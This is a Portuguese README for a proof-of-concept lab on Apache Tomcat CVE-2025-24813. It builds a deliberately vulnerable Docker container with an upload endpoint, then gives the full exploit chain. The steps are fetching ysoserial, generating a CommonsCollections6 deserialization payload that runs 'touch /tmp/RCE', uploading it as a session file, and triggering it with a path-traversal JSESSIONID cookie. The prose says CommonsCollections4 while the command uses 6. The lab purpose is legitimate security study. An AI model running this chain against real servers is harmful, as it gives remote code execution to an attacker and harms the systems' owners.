
Prova de conceito demonstrando o Apache Tomcat CVE-2025-24813, explorando o PUT inseguro do DefaultServlet e a desserialização de sessão para alcançar execução remota de código.
Este repositório contém uma aplicação simples construída para observar o comportamento do CVE-2025-24813, uma vulnerabilidade recente no Apache Tomcat relacionada ao uso do DefaultServlet com escrita habilitada (readonly=false), permitindo operações de escrita não seguras via HTTP PUT (com suportes a partial PUT / Content-Range) que podem levar a sobrescrita de arquivos sensíveis, incluindo arquivos de sessão — possibilitando cenários de RCE caso ocorra desserialização maliciosa.
A aplicação utiliza:
| Componente | Função |
|---|
| Tomcat 9 + JDK 11 | Servidor vulnerável utilizado como alvo |
context.xml | Habilita PersistentManager + FileStore salvando sessões em disco |
upload.jsp | Endpoint simples que recebe dados e grava no disco |
/tmp/app-data/ | Diretório onde os uploads serão salvos |
A ideia inicial é observar como o Tomcat trata arquivos em um ambiente configurado para estudo do CVE — começando com uma requisição benigna, que apenas grava um arquivo de forma controlada (sem tentativa de exploração) E logo após um arquivo malicioso.
docker build -t tomcat-cve-2025-24813 .
docker run -d --name toy-cve -p 8080:8080 tomcat-cve-2025-24813
Em outro terminal execute os comandos abaixo.
PID=$(docker inspect -f '{{.State.Pid}}' toy-cve)
sudo strace -f -p $PID -e trace=execve -s 200
Enviaremos um arquivo simples para observar o comportamento normal.
Upload enviando uma string
echo "Arquivo Normal" > nota.txt
curl -X POST http://localhost:8080/upload.jsp \
-H "X-Filename: nota.txt" \
--data-binary "Essa é apenas uma mensagem simples."
Se tudo estiver correto, no terminal rodando o strace nada deve aparecer.
Nota: Se aparecerem erros SIGSEGV no strace, ignore. Eles são ruídos da JVM.
wget -O ysoserial-all.jar https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
Aqui usamos a cadeia CommonsCollections4 para gerar um objeto que, em um cenário vulnerável, poderia executar o comando touch /tmp/RCE. O payload será salvo como hack.session.
java -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/RCE' > hack.session
Se o comando anterior der erro é porque para garantir a compatibilidade com versões modernas do Java (9+), é necessário adicionar a flag --add-opens para desativar o encapsulamento forte (JPMS), que de outra forma bloquearia a reflexão usada pelo ysoserial.
java --add-opens java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/RCE' > hack.session
Após este comando você terá um arquivo binário local:
hack.session
Enviamos o arquivo .session para o endpoint JSP, que grava o conteúdo diretamente no diretório /tmp/app-data.
curl -v -X POST \
-H "X-Filename: hack.session" \
--data-binary @hack.session \
http://localhost:8080/upload.jsp
Saída esperada:
Arquivo salvo com sucesso em: /tmp/app-data/hack.session
📌 Neste momento nenhum comando é executado — apenas ocorreu gravação de arquivo no servidor.
Agora fazemos uma requisição enviando o cookie JSESSIONID=hack, tentando forçar o Tomcat a carregar a sessão recém-criada.
curl -v http://localhost:8080/index.jsp -H "Cookie: JSESSIONID=../../../../../../tmp/app-data/hack"
Indo no terminal do strace deve ter aparecido comandos de execve criando o arquivo.
Para ver se o arquivo foi criado também podemos entrar no container e verificar
docker exec -it toy-cve ls -l /tmp/